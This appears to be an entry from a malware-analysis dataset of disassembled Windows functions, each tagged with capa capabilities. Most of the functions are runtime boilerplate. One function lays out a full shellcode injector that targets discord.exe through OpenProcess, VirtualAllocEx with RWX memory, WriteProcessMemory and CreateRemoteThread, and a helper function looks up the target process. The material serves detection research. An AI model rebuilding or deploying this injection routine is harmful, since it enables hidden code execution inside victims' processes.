joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004099f0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00409a00]
mov dword [rax], 1
mov rax, qword [0x00409a10]
mov dword [rax], 1
mov rax, qword [0x004099e0]
mov dword [rax], 1
mov rax, qword [0x004098c0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004099d0]
mov dword [0x0040c008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00409990]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00409870]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x4015a4
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
je 0x401684
mov dword [rbp - 0x60], 0x130
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sym.Process32First
test eax, eax
setne al
test al, al
je 0x401684
mov eax, dword [rbp - 0x58]
test eax, eax
jne 0x401626
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sym.Process32Next
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
sete al
test al, al
je 0x401666
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xdc], eax
mov eax, dword [rbp - 0x58]
mov edx, eax
lea rcx, str.Process_found_:_0x_lX_n
call dbg.printf
jmp 0x401684
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd0]
mov rdx, rax
call sym.Process32Next
test eax, eax
setne al
test al, al
je 0x401684
jmp 0x401626
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x4016a6
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
call sym.__main
mov dword [rbp + 0xac], 0
lea rax, [rbp - 0x40]
lea rdx, [0x00409110]
mov ecx, 0xc8
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rcx, str.discord.exe
call dbg.GetPID(char const*)
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0xa0], rax
cmp qword [rbp + 0xa0], 0
jne 0x401734
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Process_Not_found__0x_lX__n
call dbg.printf
mov eax, 0xffffffff
jmp 0x4018f7
mov rax, qword [rbp + 0xa0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xc8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x98], rax
cmp qword [rbp + 0x98], 0
jne 0x40178e
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x4018f7
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov qword [rsp + 0x20], 0
mov r9d, 0xc8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
sete al
test al, al
je 0x4017fb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.write_process_memory_faild__0x_lX__n
call dbg.printf
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0xffffffff
jmp 0x4018f7
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0xa0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp + 0x90], rax
cmp qword [rbp + 0x90], 0
jne 0x40188b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_create_thread__0x_lX__n
call dbg.printf
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x90]
mov rdx, rax
lea rcx, str.Thread_Created_Succesfully_0x_lX_n
call dbg.printf
mov rax, qword [rbp + 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
cmp eax, 0xffffffff
setne al
test al, al
je 0x4018db
mov rax, qword [rbp + 0x90]
mov rdx, rax
lea rcx, str.Thread_finished_Succesfully_0x_lX_n
call dbg.printf
jmp 0x4018f2
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.error_in_WaitForSingleObject_0x_lX_n
call dbg.printf
mov eax, 0
add rsp, 0x130
pop rbp
ret
Function at 0x402a50
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402a60
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402a70
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402ab1
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402aa8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402ab3
add rax, 0x28
cmp rax, r9
jne 0x402a94
xor eax, eax
ret

Function at 0x402b50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004098c0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402bbd
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402bbd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402bbd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402bb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402bbf
add rax, 0x28
cmp rax, r9
jne 0x402ba0
xor eax, eax
add rsp, 0x28
ret

Function at 0x402cc0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004098c0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x402ce0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402cd8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402d3d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402d34
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402d44
add rax, 0x28
cmp rax, r9
jne 0x402d20
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x402d60
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004098c0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x402dce
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402dce
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x402dce
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x402dce
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x402dc5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x402dd5
add rcx, 0x28
cmp rcx, rax
jne 0x402db0
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x402de8
jmp 0x402dce
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x402df6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x402dce
test r9d, r9d
jg 0x402de0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x407d00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x404c60
Capabilities:
Reference http user-agent string

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x404dd7
push rbp
mov rbp, rsp
sub rsp, 0x30
cmp byte [rax + 0x65], 0
je 0x404dc5
mov rcx, qword [rax + 0x20]
shl rcx, 0xd
cmp rcx, 0x400000
jne 0x404db0
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x1f], 1
movzx ecx, byte [rsp + 0x1f]
mov byte [rax + 0x62], cl
mov rbx, qword [rax + 0x20]
shl rbx, 0xd
mov rcx, qword [rax + 0x18]
mov rdx, rbx
neg rdx
lea rsi, [0x00697198]
lock xadd qword [rsi], rdx
nop
mov rax, rcx
call fcn.00416580
mov rcx, qword [rsp + 0x40]
mov rbx, qword [rcx + 0x20]
shl rbx, 0xd
neg rbx
lea rax, [0x00697170]
call fcn.00431520
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rcx + 0x68]
lea rsi, [0x00697190]
lock xadd qword [rsi], rdx
lea rax, [0x00698440]
call fcn.004315e0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rcx + 0x20]
shl rdx, 0xd
neg rdx
lock xadd qword [rax], rdx
mov rdx, qword [rcx + 0x20]
shl rdx, 0xd
neg rdx
lock xadd qword [rax + 0x10], rdx
mov edx, 1
lock xadd qword [rax + 0x270], rdx
mov rdx, qword [rcx + 0x68]
lock xadd qword [rax + 0x268], rdx
lea rax, [0x00698440]
call fcn.004316c0
mov rcx, qword [rsp + 0x40]
mov rbx, qword [rcx + 0x68]
neg rbx
lea rax, [0x00697060]
xor ecx, ecx
call fcn.004218e0
movups xmmword [rsp + 0x20], xmm15
lea rcx, [0x00404e00]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x20]
mov qword [rsp], rcx
call fcn.00464400
xorps xmm15, xmm15
mov r14, qword [0x00696838]
mov r14, qword gs:[r14]
mov r14, qword [r14]
add rsp, 0x30
pop rbp
ret
lea rax, [0x004e9548]
mov ebx, 0x2c
nop dword [rax]
call fcn.00437040
lea rax, [0x004e8a91]
mov ebx, 0x28
call fcn.00437040
nop
mov qword [rsp + 8], rax
nop dword [rax]
call fcn.00464520
mov rax, qword [rsp + 8]
jmp fcn.00404c60
Function at 0x405260
Capabilities:
Reference http user-agent string

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x68
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x58], r14
mov rdx, qword [r14 + 0x30]
mov rsi, r14
cmp qword [rdx + 0x90], rsi
je 0x4052bc
call fcn.00438ae0
lea rax, [0x004e66b1]
mov ebx, 0x1e
call fcn.00439360
call fcn.00438b40
mov eax, 2
call fcn.004337a0
mov rsi, qword [rsp + 0x58]
mov rax, qword [rsi + 0x30]
mov rdx, qword [rax]
mov rbx, qword [rdx + 0x38]
xor ecx, ecx
call fcn.00405040
mov rdx, qword [r14 + 0x30]
nop
inc dword [rdx + 0x234]
mov rdx, qword [r14 + 0x30]
mov rsi, r14
nop
mov qword [rdx + 0x128], rsi
mov rdx, qword [r14 + 0x30]
mov qword [r14 + 0xd0], rdx
mov rdx, qword [rsp + 0x58]
mov rsi, qword [rdx + 0x30]
mov qword [rsp + 0x60], rsi
movups xmm0, xmmword [rsi + 0x400]
movups xmmword [rsp + 0x18], xmm0
movups xmm0, xmmword [rsi + 0x410]
movups xmmword [rsp + 0x28], xmm0
movups xmm0, xmmword [rsi + 0x420]
movups xmmword [rsp + 0x38], xmm0
mov rdi, qword [rdx + 0x70]
mov qword [rsp + 0x50], rdi
mov r8, qword [rdx + 0x78]
mov qword [rsp + 0x48], r8
call fcn.00461b00
mov rdx, qword [rsp + 0x58]
mov rsi, qword [rdx + 0x30]
mov byte [rsi + 0xe8], 0
mov rsi, qword [rdx + 0x30]
cmp byte [rsi + 0xe9], 0
je 0x405360
mov byte [rsi + 0xea], 0
mov rsi, qword [rdx + 0x30]
xor edi, edi
xchg dword [rsi + 0x5f8], edi
cmp byte [rdx + 0xbd], 0
jne 0x405429
mov rax, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
call fcn.00405440
mov rdx, qword [rsp + 0x58]
mov rsi, qword [rdx + 0x30]
mov byte [rsi + 0xe8], 1
call fcn.00444120
mov rdx, qword [rsp + 0x58]
mov rsi, qword [rdx + 0x30]
cmp byte [rsi + 0xe9], 0
je 0x4053c1
mov byte [rsi + 0xea], 1
mov rax, qword [rdx + 0x30]
mov rcx, qword [rsp + 0x60]
cmp rax, rcx
jne 0x405418
call fcn.00435440
mov rbx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x48]
nop
call fcn.00442100
mov rcx, qword [rsp + 0x58]
mov rcx, qword [rcx + 0x30]
movups xmm0, xmmword [rsp + 0x18]
movups xmmword [rcx + 0x400], xmm0
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx + 0x410], xmm0
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rcx + 0x420], xmm0
add rsp, 0x68
pop rbp
ret
lea rax, [0x004e856c]
mov ebx, 0x26
call fcn.00437040
lea rax, [0x004c3600]
lea rbx, [0x00509a00]
call fcn.00436480
nop
int3
Function at 0x40bb00
Capabilities:
Reference http user-agent string

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40bc26
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rcx, qword [rbx + 8]
inc rcx
mov qword [rbx + 8], rcx
mov rdx, rbx
shl rbx, 0x10
mov rsi, rcx
and ecx, 0x7ffff
or rbx, rcx
mov rcx, rbx
sar rbx, 0x13
shl rbx, 3
nop
nop
nop
nop
cmp rdx, rbx
je 0x40bb4a
jmp 0x40bb6a
mov rax, rsi
mov rbx, qword [rax]
mov qword [rdx], rbx
mov rsi, rax
mov rax, rbx
lock cmpxchg qword [rsi], rcx
sete bl
nop
test bl, bl
je 0x40bb47
add rsp, 0x30
pop rbp
ret
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rcx
mov qword [rsp + 0x20], rbx
nop
call fcn.00438ae0
lea rax, [0x004e9574]
mov ebx, 0x2c
call fcn.00439360
mov rax, qword [rsp + 0x28]
nop dword [rax + rax]
call fcn.004392e0
lea rax, [0x004df2d3]
mov ebx, 5
call fcn.00439360
mov rax, qword [rsp + 0x18]
nop dword [rax + rax]
call fcn.004391e0
lea rax, [0x004df839]
mov ebx, 8
call fcn.00439360
mov rax, qword [rsp + 0x10]
nop dword [rax + rax]
call fcn.004391e0
lea rax, [0x004dfa32]
mov ebx, 9
call fcn.00439360
mov rax, qword [rsp + 0x20]
nop dword [rax + rax]
call fcn.004392e0
call fcn.00438d20
call fcn.00438b40
lea rax, [0x004e0571]
mov ebx, 0xc
nop dword [rax + rax]
call fcn.00437040
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00464520
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.0040bb00
Function at 0x40c2a0
Capabilities:
Reference http user-agent string

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x38
mov rcx, qword [r14 + 0x30]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x20]
mov rdx, rax
xor eax, eax
lock cmpxchg qword [rdx], rcx
sete cl
test cl, cl
je 0x40c332
mov qword [rsp + 0x30], r14
test rbx, rbx
jge 0x40c2fe
mov rcx, qword [r14 + 0x30]
mov byte [rcx + 0xe5], 1
mov rcx, qword [0x00601b28]
cmp qword [rcx], 0
jne 0x40c503
mov rax, 0xffffffffffffffff
call fcn.00433cc0
jmp 0x40c4ba
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x50], rbx
call fcn.00468100
xorps xmm15, xmm15
mov r14, qword [0x00696838]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp]
mov rbx, qword [rsp + 0x50]
add rax, rbx
mov qword [rsp + 0x18], rax
jmp 0x40c35a
cmp qword [rdx], 1
jne 0x40c343
mov eax, 1
add rsp, 0x38
pop rbp
ret
lea rax, [0x004e66ed]
mov ebx, 0x1e
call fcn.00437040
mov rax, rdx
mov rbx, rcx
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rcx + 0x30]
mov byte [rdx + 0xe5], 1
mov rdx, qword [0x00601b28]
cmp qword [rdx], 0
je 0x40c38e
nop word [rax + rax]
cmp rbx, 0x989680
jle 0x40c38e
mov ebx, 0x989680
mov rax, rbx
call fcn.00433cc0
test eax, eax
jge 0x40c41c
mov rax, qword [0x00601b28]
mov rax, qword [rax]
test rax, rax
je 0x40c3d1
mov qword [rsp], rax
mov qword [rsp + 8], 0
call fcn.00466000
xorps xmm15, xmm15
mov r14, qword [0x00696838]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax + 0x30]
mov byte [rcx + 0xe5], 0
call fcn.00468100
xorps xmm15, xmm15
mov r14, qword [0x00696838]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x18]
mov rdx, rcx
sub rcx, rax
test rcx, rcx
jg 0x40c354
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
jmp 0x40c437
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 0x30]
mov byte [rcx + 0xe5], 0
mov eax, 1
add rsp, 0x38
pop rbp
ret
mov rax, qword [rcx]
mov rsi, qword [rdx + 0x30]
mov rdi, rsi
cmp rax, rsi
jne 0x40c460
xor esi, esi
lock cmpxchg qword [rcx], rsi
sete dil
test dil, dil
je 0x40c437
xor eax, eax
add rsp, 0x38
pop rbp
ret
cmp rax, 1
jne 0x40c4a9
mov byte [rdi + 0xe5], 1
mov rax, 0xffffffffffffffff
call fcn.00433cc0
test eax, eax
jl 0x40c498
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 0x30]
mov byte [rcx + 0xe5], 0
mov eax, 1
add rsp, 0x38
pop rbp
ret
lea rax, [0x004ea223]
mov ebx, 0x32
call fcn.00437040
lea rax, [0x004ea0cc]
mov ebx, 0x31
call fcn.00437040
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 0x30]
mov byte [rcx + 0xe5], 0
mov eax, 1
add rsp, 0x38
pop rbp
ret
mov rax, qword [0x00601b28]
mov rax, qword [rax]
mov qword [rsp], rax
mov qword [rsp + 8], 0
call fcn.00466000
xorps xmm15, xmm15
mov r14, qword [0x00696838]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, 0x989680
call fcn.00433cc0
test eax, eax
jl 0x40c4d5
jmp 0x40c4ba
Function at 0x40d1e0
Capabilities:
Reference http user-agent string

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40d2e0
push rbp
mov rbp, rsp
sub rsp, 0x28
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
xor edx, edx
jmp 0x40d218
lea rdx, [rcx + 1]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov qword [rsp + 0x10], rdx
lea rsi, [rcx + rbx]
mov qword [rsp + 0x20], rsi
mov rbx, rsi
call fcn.00416a80
mov rcx, rax
test rcx, rcx
je 0x40d2c4
mov rdx, qword [rsp + 0x48]
lea rsi, [rdx - 1]
test rcx, rsi
je 0x40d2b9
mov qword [rsp + 0x18], rcx
mov rbx, qword [rsp + 0x20]
call fcn.004169a0
mov rcx, qword [rsp + 0x18]
mov rax, qword [rsp + 0x48]
lea rcx, [rax + rcx]
lea rcx, [rcx - 1]
mov rdx, rax
neg rdx
and rdx, rcx
mov qword [rsp + 0x18], rdx
nop
nop
mov rbx, qword [rsp + 0x40]
mov rax, rdx
call fcn.00416a80
mov rcx, rax
mov rdx, qword [rsp + 0x18]
cmp rcx, rdx
je 0x40d2ae
mov rbx, qword [rsp + 0x40]
call fcn.004169a0
mov rcx, qword [rsp + 0x10]
cmp rcx, 0x63
jne 0x40d205
jmp 0x40d2ce
mov rbx, qword [rsp + 0x40]
add rsp, 0x28
pop rbp
ret
mov rbx, qword [rsp + 0x20]
add rsp, 0x28
pop rbp
ret
xor eax, eax
xor ebx, ebx
add rsp, 0x28
pop rbp
ret
lea rax, [0x004ea87b]
mov ebx, 0x38
call fcn.00437040
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00464520
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.0040d1e0
Function at 0x40d3c0
Capabilities:
Reference http user-agent string

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40d598
push rbp
mov rbp, rsp
sub rsp, 0x28
movzx edx, bl
nop word [rax + rax]
nop
cmp rdx, 0x88
jae 0x40d58a
mov qword [rsp + 0x38], rax
mov byte [rsp + 0x40], bl
mov qword [rsp + 0x20], rdx
test byte [rax], al
mov rcx, qword [rax + rdx*8 + 0x28]
mov qword [rsp + 0x18], rcx
mov rax, rcx
call fcn.00413500
mov rcx, qword [rsp + 0x18]
movzx edx, word [rcx + 0x32]
cmp ax, dx
jne 0x40d46f
mov word [rsp + 0x16], dx
movzx ecx, word [rcx + 0x60]
cmp cx, dx
jne 0x40d527
mov word [rsp + 0x12], ax
mov rax, qword [rsp + 0x38]
movzx ebx, byte [rsp + 0x40]
nop
call fcn.004153c0
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov rax, qword [rdx + rcx*8 + 0x28]
mov qword [rsp + 0x18], rax
call fcn.00413500
movzx edx, word [rsp + 0x16]
movzx ebx, word [rsp + 0x12]
mov rcx, qword [rsp + 0x18]
jmp 0x40d471
mov ebx, eax
cmp word [rcx + 0x32], ax
jbe 0x40d516
movzx eax, ax
mov rsi, qword [rcx + 0x68]
imul rax, rsi
movzx esi, word [rcx + 0x60]
inc esi
add rax, qword [rcx + 0x18]
mov word [rcx + 0x60], si
movzx edi, word [rcx + 0x32]
cmp di, si
jb 0x40d4ae
cmp bx, dx
sete dl
mov rbx, rcx
mov ecx, edx
add rsp, 0x28
pop rbp
ret
mov word [rsp + 0x16], si
mov word [rsp + 0x14], di
call fcn.00438ae0
lea rax, [0x004e0e36]
mov ebx, 0xe
call fcn.00439360
movzx eax, word [rsp + 0x16]
movzx eax, ax
call fcn.004390a0
lea rax, [0x004e00f2]
mov ebx, 0xb
call fcn.00439360
movzx eax, word [rsp + 0x14]
call fcn.004390a0
call fcn.00438d20
nop dword [rax + rax]
call fcn.00438b40
lea rax, [0x004e3ead]
mov ebx, 0x17
call fcn.00437040
lea rax, [0x004e385f]
mov ebx, 0x16
call fcn.00437040
mov word [rsp + 0x14], cx
call fcn.00438ae0
lea rax, [0x004e3e96]
mov ebx, 0x17
nop dword [rax]
call fcn.00439360
movzx eax, word [rsp + 0x14]
call fcn.004390a0
lea rax, [0x004e00f2]
mov ebx, 0xb
nop dword [rax + rax]
call fcn.00439360
movzx eax, word [rsp + 0x16]
call fcn.004390a0
call fcn.00438d20
call fcn.00438b40
lea rax, [0x004ea0fd]
mov ebx, 0x31
call fcn.00437040
mov rax, rdx
mov ecx, 0x88
call fcn.00466800
nop
mov qword [rsp + 8], rax
mov byte [rsp + 0x10], bl
call fcn.00464520
mov rax, qword [rsp + 8]
movzx ebx, byte [rsp + 0x10]
jmp fcn.0040d3c0
Function at 0x40e0c0
Capabilities:
Reference http user-agent string

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x40e151
push rbp
mov rbp, rsp
sub rsp, 0x18
mov rdx, qword [rax + 0xa0]
test rdx, rdx
je 0x40e0e4
mov rdx, qword [rdx + 0x40]
jmp 0x40e0eb
mov rdx, qword [0x00696780]
test rdx, rdx
je 0x40e13f
mov rax, qword [0x005fc378]
cmp rax, 1
jne 0x40e102
xor eax, eax
nop
jmp 0x40e12b
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x10], rdx
call fcn.0040e180
movsxd rcx, eax
mov rdx, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x30]
mov rax, rcx
mov rcx, qword [rsp + 0x38]
mov qword [rdx], rax
mov rax, rbx
mov rbx, rcx
call fcn.0042ee40
add rsp, 0x18
pop rbp
ret
lea rax, [0x004ea8b3]
mov ebx, 0x38
call fcn.00437040
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.00464520
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
jmp fcn.0040e0c0